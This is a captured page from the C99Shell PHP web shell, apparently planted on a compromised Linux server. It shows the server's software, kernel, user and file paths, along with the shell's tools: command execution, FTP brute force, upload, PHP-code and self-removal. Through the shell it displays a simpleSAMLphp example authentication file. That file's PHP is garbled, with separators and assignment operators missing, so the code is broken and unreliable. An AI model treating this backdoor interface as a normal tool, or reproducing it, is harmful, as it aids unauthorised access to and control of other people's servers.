!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/3ros/simplesamlphp/modules/exampleauth/lib/Auth/Source/   drwxrwxr-x
Free 13.54 GB of 61.93 GB (21.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     External.php (7.76 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Example external authentication source.
 *
 * This class is an example authentication source which is designed to
 * hook into an external authentication system.
 *
 * To adapt this to your own web site, you should:
 * 1. Create your own module directory.
 * 2. Add a file "default-enable" to that directory.
 * 3. Copy this file and modules/exampleauth/www/resume.php to their corresponding
 *    location in the new module.
 * 4. Replace all occurrences of "exampleauth" in this file and in resume.php with the name of your module.
 * 5. Adapt the getUser()-function, the authenticate()-function and the logout()-function to your site.
 * 6. Add an entry in config/authsources.php referencing your module. E.g.:
 *        'myauth' => array(
 *            '<mymodule>:External',
 *        ),
 *
 * @package simpleSAMLphp
 * @version $Id$
 */
class sspmod_exampleauth_Auth_Source_External extends SimpleSAML_Auth_Source {

    
/**
     * Constructor for this authentication source.
     *
     * @param array $info  Information about this authentication source.
     * @param array $config  Configuration.
     */
    
public function __construct($info$config) {
        
assert('is_array($info)');
        
assert('is_array($config)');

        
/* Call the parent constructor first, as required by the interface. */
        
parent::__construct($info$config);

        
/* Do any other configuration we need here. */
    
}


    
/**
     * Retrieve attributes for the user.
     *
     * @return array|NULL  The user's attributes, or NULL if the user isn't authenticated.
     */
    
private function getUser() {

        
/*
         * In this example we assume that the attributes are
         * stored in the users PHP session, but this could be replaced
         * with anything.
         */

        
if (!session_id()) {
            
/* session_start not called before. Do it here. */
            
session_start();
        }

        if (!isset(
$_SESSION['uid'])) {
            
/* The user isn't authenticated. */
            
return NULL;
        }

        
/*
         * Find the attributes for the user.
         * Note that all attributes in simpleSAMLphp are multivalued, so we need
         * to store them as arrays.
         */

        
$attributes = array(
            
'uid' => array($_SESSION['uid']),
            
'displayName' => array($_SESSION['name']),
            
'mail' => array($_SESSION['mail']),
        );

        
/* Here we generate a multivalued attribute based on the account type. */
        
$attributes['eduPersonAffiliation'] = array(
            
$_SESSION['type'], /* In this example, either 'student' or 'employee'. */
            
'member',
        );

        return 
$attributes;
    }


    
/**
     * Log in using an external authentication helper.
     *
     * @param array &$state  Information about the current authentication.
     */
    
public function authenticate(&$state) {
        
assert('is_array($state)');

        
$attributes $this->getUser();
        if (
$attributes !== NULL) {
            
/*
             * The user is already authenticated.
             *
             * Add the users attributes to the $state-array, and return control
             * to the authentication process.
             */
            
$state['Attributes'] = $attributes;
            return;
        }

        
/*
         * The user isn't authenticated. We therefore need to
         * send the user to the login page.
         */

        /*
         * First we add the identifier of this authentication source
         * to the state array, so that we know where to resume.
         */
        
$state['exampleauth:AuthID'] = $this->authId;


        
/*
         * We need to save the $state-array, so that we can resume the
         * login process after authentication.
         *
         * Note the second parameter to the saveState-function. This is a
         * unique identifier for where the state was saved, and must be used
         * again when we retrieve the state.
         *
         * The reason for it is to prevent
         * attacks where the user takes a $state-array saved in one location
         * and restores it in another location, and thus bypasses steps in
         * the authentication process.
         */
        
$stateId SimpleSAML_Auth_State::saveState($state'exampleauth:External');

        
/*
         * Now we generate an URL the user should return to after authentication.
         * We assume that whatever authentication page we send the user to has an
         * option to return the user to a specific page afterwards.
         */
        
$returnTo SimpleSAML_Module::getModuleURL('exampleauth/resume.php', array(
            
'State' => $stateId,
        ));

        
/*
         * Get the URL of the authentication page.
         *
         * Here we use the getModuleURL function again, since the authentication page
         * is also part of this module, but in a real example, this would likely be
         * the absolute URL of the login page for the site.
         */
        
$authPage SimpleSAML_Module::getModuleURL('exampleauth/authpage.php');

        
/*
         * The redirect to the authentication page.
         *
         * Note the 'ReturnTo' parameter. This must most likely be replaced with
         * the real name of the parameter for the login page.
         */
        
SimpleSAML_Utilities::redirect($authPage, array(
            
'ReturnTo' => $returnTo,
        ));

        
/*
         * The redirect function never returns, so we never get this far.
         */
        
assert('FALSE');
    }


    
/**
     * Resume authentication process.
     *
     * This function resumes the authentication process after the user has
     * entered his or her credentials.
     *
     * @param array &$state  The authentication state.
     */
    
public static function resume() {

        
/*
         * First we need to restore the $state-array. We should have the identifier for
         * it in the 'State' request parameter.
         */
        
if (!isset($_REQUEST['State'])) {
            throw new 
SimpleSAML_Error_BadRequest('Missing "State" parameter.');
        }
        
$stateId = (string)$_REQUEST['State'];

        
/*
         * Once again, note the second parameter to the loadState function. This must
         * match the string we used in the saveState-call above.
         */
        
$state SimpleSAML_Auth_State::loadState($stateId'exampleauth:External');

        
/*
         * Now we have the $state-array, and can use it to locate the authentication
         * source.
         */
        
$source SimpleSAML_Auth_Source::getById($state['exampleauth:AuthID']);
        if (
$source === NULL) {
            
/*
             * The only way this should fail is if we remove or rename the authentication source
             * while the user is at the login page.
             */
            
throw new SimpleSAML_Error_Exception('Could not find authentication source with id ' $state[self::AUTHID]);
        }

        
/*
         * Make sure that we haven't switched the source type while the
         * user was at the authentication page. This can only happen if we
         * change config/authsources.php while an user is logging in.
         */
        
if (! ($source instanceof self)) {
            throw new 
SimpleSAML_Error_Exception('Authentication source type changed.');
        }


        
/*
         * OK, now we know that our current state is sane. Time to actually log the user in.
         *
         * First we check that the user is acutally logged in, and didn't simply skip the login page.
         */
        
$attributes $source->getUser();
        if (
$attributes === NULL) {
            
/*
             * The user isn't authenticated.
             *
             * Here we simply throw an exception, but we could also redirect the user back to the
             * login page.
             */
            
throw new SimpleSAML_Error_Exception('User not authenticated after login page.');
        }

        
/*
         * So, we have a valid user. Time to resume the authentication process where we
         * paused it in the authenticate()-function above.
         */

        
$state['Attributes'] = $attributes;
        
SimpleSAML_Auth_Source::completeAuth($state);

        
/*
         * The completeAuth-function never returns, so we never get this far.
         */
        
assert('FALSE');
    }


    
/**
     * This function is called when the user start a logout operation, for example
     * by logging out of a SP that supports single logout.
     *
     * @param array &$state  The logout state array.
     */
    
public function logout(&$state) {
        
assert('is_array($state)');

        if (!
session_id()) {
            
/* session_start not called before. Do it here. */
            
session_start();
        }

        
/*
         * In this example we simply remove the 'uid' from the session.
         */
        
unset($_SESSION['uid']);

        
/*
         * If we need to do a redirect to a different page, we could do this
         * here, but in this example we don't need to do this.
         */
    
}

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4767 ]--